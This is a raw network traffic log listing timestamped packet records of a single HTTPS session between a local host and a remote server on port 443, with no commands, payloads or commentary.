Dec 1, 2021 09:15:23.006567001 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.006608009 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.006618023 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.006653070 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.006716013 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.006743908 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.006788969 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.006798983 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.006823063 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.006882906 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.006910086 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.006949902 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.006962061 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.006973982 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007047892 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007077932 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007126093 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007136106 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007148027 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007216930 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007244110 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007292032 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007301092 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007330894 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007373095 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007400990 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007441998 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007451057 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007486105 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007528067 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007556915 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007597923 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007606983 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007625103 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007643938 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007690907 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007716894 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007756948 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007766962 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007792950 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007843018 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007869005 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007915020 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.007925034 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.007937908 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008003950 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008033037 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008080959 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008093119 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008104086 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008158922 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008186102 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008230925 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008241892 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008251905 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008299112 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008325100 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008372068 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008383036 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008393049 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008415937 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008419991 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008476973 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008486986 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008534908 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008541107 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008555889 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008579016 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008605003 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008632898 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008641958 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008671045 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008690119 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008692980 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008703947 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008735895 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008757114 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008820057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008824110 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008838892 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008883953 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008897066 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008923054 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008932114 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.008944988 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.008995056 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.009008884 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.009016991 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.009047985 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.009073973 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.009109020 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.009116888 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.009166956 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045104980 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045161963 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045236111 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045260906 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045293093 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045320034 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045375109 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045416117 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045454979 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045461893 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045490026 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045521975 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045614004 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045650959 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045722961 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045730114 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045761108 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045784950 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045826912 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045866966 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045903921 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045912027 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.045958042 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.045962095 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046046019 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046084881 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046124935 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046135902 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046168089 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046260118 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046297073 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046312094 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046325922 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046331882 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046375036 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046442032 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046478987 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046533108 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046544075 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046551943 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046606064 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046648026 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046720982 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.046921968 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.046961069 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047008991 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.047034979 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047049999 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.047153950 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047252893 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.047262907 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047332048 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047406912 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.047415018 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047665119 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047751904 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.047764063 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047787905 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.047841072 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.047987938 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048024893 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048084974 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048099041 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048113108 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048208952 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048247099 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048295021 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048311949 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048321009 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048427105 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048465014 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048512936 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048525095 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048541069 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048651934 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048690081 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048739910 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048754930 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048767090 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048790932 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.048909903 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048948050 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.048990011 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049002886 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049021959 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049141884 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049182892 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049226999 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049242973 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049253941 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049364090 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049401999 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049448013 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049462080 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049473047 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049595118 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049633026 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049678087 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049699068 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049710989 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049818039 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049854994 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049894094 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049906969 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.049916983 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.049945116 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050030947 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050071955 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050117970 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050131083 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050157070 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050235033 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050272942 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050304890 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050319910 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050328970 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050358057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050437927 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050477982 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050508022 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050523043 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050534964 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050561905 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050636053 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050673962 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050707102 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050719976 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050735950 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050838947 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050877094 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050906897 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.050921917 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.050951004 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051042080 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051081896 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051107883 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051122904 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051182985 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051212072 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051253080 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051291943 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051325083 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051335096 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051364899 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051455021 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051492929 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051599979 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051608086 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051660061 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051700115 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051723003 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051733017 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051752090 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051772118 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051863909 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051902056 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051937103 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051944971 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.051959038 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.051985025 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052077055 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052115917 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052145958 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052153111 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052171946 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052277088 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052314043 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052344084 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052352905 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052380085 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052463055 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052499056 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052535057 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052546024 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052556038 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052642107 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052716970 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052727938 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052812099 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052875042 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052881002 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052900076 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.052927971 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.052953959 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053075075 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053117990 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053158045 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053169012 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053180933 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053220034 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053241968 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053280115 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053287983 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053316116 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053332090 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053354025 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053392887 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053401947 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053419113 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053445101 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053467035 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053513050 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053522110 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053534985 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053571939 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053595066 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053633928 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053643942 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053654909 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053695917 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053718090 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053756952 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053765059 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053778887 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053813934 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053836107 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053874016 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053884983 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053893089 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.053942919 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.053966045 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054002047 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054008007 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054028034 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054064989 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054088116 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054136038 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054142952 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054166079 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054184914 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054207087 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054243088 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054250956 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054274082 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054305077 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054336071 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054399014 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054408073 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054438114 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054441929 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054466963 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054502964 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054512024 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054527044 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.054567099 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054589987 CET	443	49832	162.159.130.233	192.168.2.4
Dec 1, 2021 09:15:23.054629087 CET	49832	443	192.168.2.4	162.159.130.233
